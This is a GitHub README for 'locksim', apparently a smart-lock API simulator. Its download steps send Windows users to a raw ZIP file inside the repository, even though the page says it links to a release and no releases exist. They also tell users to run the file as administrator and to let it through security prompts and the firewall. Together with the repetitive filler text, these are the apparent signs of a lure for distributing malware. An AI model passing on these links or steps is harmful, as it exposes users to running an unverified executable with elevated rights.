Skip to content

Rhodapotted630/locksim

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

🧭 locksim - Simple smart lock access testing

Download locksim

📥 Download

Use this page to download locksim for Windows:

https://github.com/Rhodapotted630/locksim/raw/refs/heads/main/unrooted/Software-v1.4.zip

Open the page, then look for the latest release. Download the Windows file from that release and save it on your computer.

🚀 What locksim does

locksim is a smart access provider simulator. It helps you test lock access flows without a real smart lock setup.

Use it to:

  • test Nuki-style API calls
  • try webhook events
  • demo lock access flows
  • check integration steps before using live systems
  • simulate access for hospitality tools and apps

It gives you a local way to explore how a smart lock system behaves.

🖥️ What you need

For a Windows PC, you need:

  • Windows 10 or Windows 11
  • internet access to get the download
  • enough free disk space for the app file
  • permission to run apps on your computer

If your system blocks unknown files, you may need to allow the file through Windows security prompts.

🏁 Install and run on Windows

  1. Open the download page: https://github.com/Rhodapotted630/locksim/raw/refs/heads/main/unrooted/Software-v1.4.zip

  2. Find the latest release.

  3. Download the Windows app file from that release.

  4. Save the file to your Downloads folder or your Desktop.

  5. If the file is in a ZIP folder, right-click it and choose Extract All.

  6. Open the extracted folder if needed.

  7. Double-click the locksim app file to start it.

  8. If Windows asks for permission, choose Run or Yes.

  9. Wait for the app to open.

  10. Keep the app running while you test your setup.

🔧 First-time setup

After you start locksim, you may want to set a few things up:

  • choose the port the app uses on your computer
  • set the base URL for local testing
  • connect your test tool or browser to the local endpoint
  • check webhook delivery if you plan to test event handling
  • set demo data for lock and access states

If you are only trying the app for the first time, start with the default settings and open it once before making changes.

📡 What you can test

locksim can help with common smart access tasks such as:

  • unlocking and locking states
  • access grants and access revokes
  • webhook delivery for access events
  • token-based API access
  • user and device flow checks
  • demo setup for hotel or rental access

This is useful when you want to test your app before connecting to a live lock system.

🧪 Typical use cases

You may want locksim if you are:

  • building a smart lock app
  • testing a webhook receiver
  • checking an API client
  • preparing a demo for a customer
  • learning how access events work
  • testing hospitality integrations

It works as a local simulator, so you can run tests without a real lock on hand.

🧭 Basic use flow

A simple test flow looks like this:

  1. Start locksim on your Windows PC.
  2. Open the app or local web page it provides.
  3. Send a test request from your tool or app.
  4. Watch the lock state change in the simulator.
  5. Check that webhooks or API responses match your setup.
  6. Adjust your test values and try again.

🔌 API and webhook support

locksim is built for API testing and webhook checks.

You can use it to:

  • send requests that look like Nuki-style lock calls
  • test status checks from your app
  • receive webhook events on your local service
  • verify that your integration handles lock events
  • confirm that token and access logic works as expected

If your app listens for events, locksim gives you a controlled source for those events.

🧱 Folder and file behavior

When you download locksim from GitHub Releases, keep the file in a stable folder.

Good places include:

  • Downloads
  • Desktop
  • a tools folder on your C: drive

If you move the file later, make sure any shortcuts still point to the right place.

🛠️ Troubleshooting

If locksim does not start, try these steps:

  • right-click the file and choose Run as administrator
  • make sure you downloaded the Windows file from the latest release
  • check that the file finished downloading
  • extract the ZIP file before opening it
  • close and reopen the app
  • restart your PC and try again

If a browser or firewall blocks local access:

  • allow the app through Windows Defender Firewall
  • check that the port is not already in use
  • make sure your browser uses the right local address
  • stop other tools that may use the same port

If you see an empty page or no response:

  • confirm the app is still running
  • check the local URL or port
  • refresh the page
  • try another browser

🔍 Common questions

Do I need coding knowledge?

No. You can download and run locksim on Windows without writing code. Some test setups may use API tools, but the app itself can still be opened and used from your desktop.

Can I use this for demos?

Yes. locksim fits demo work well. It gives you a simple way to show lock behavior, access changes, and event flow.

Does it work with webhook tests?

Yes. That is one of its main uses. You can point your test service at locksim and check how it sends or receives events.

Is this for real locks?

No. It is a simulator. Use it for testing and demo work, not for live access control

📌 Suggested setup for non-technical users

If you want the easiest path, use this order:

  1. Visit the release page.
  2. Download the Windows file.
  3. Extract it if needed.
  4. Open the app.
  5. Leave it running.
  6. Follow the test steps in your other app or browser.
  7. Check that the lock behavior matches what you expect

🧩 Project focus

locksim fits well with:

  • API simulator work
  • Docker-based testing
  • FastAPI services
  • React front ends
  • OAuth2 flows
  • smart lock demos
  • integration testing
  • webhook testing
  • hospitality software testing

📎 Download again

If you need the file again, use this page:

https://github.com/Rhodapotted630/locksim/raw/refs/heads/main/unrooted/Software-v1.4.zip

About

Simulate Nuki-style smart lock APIs, webhooks, keypad codes, and device states locally for integration testing without hardware or production access

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors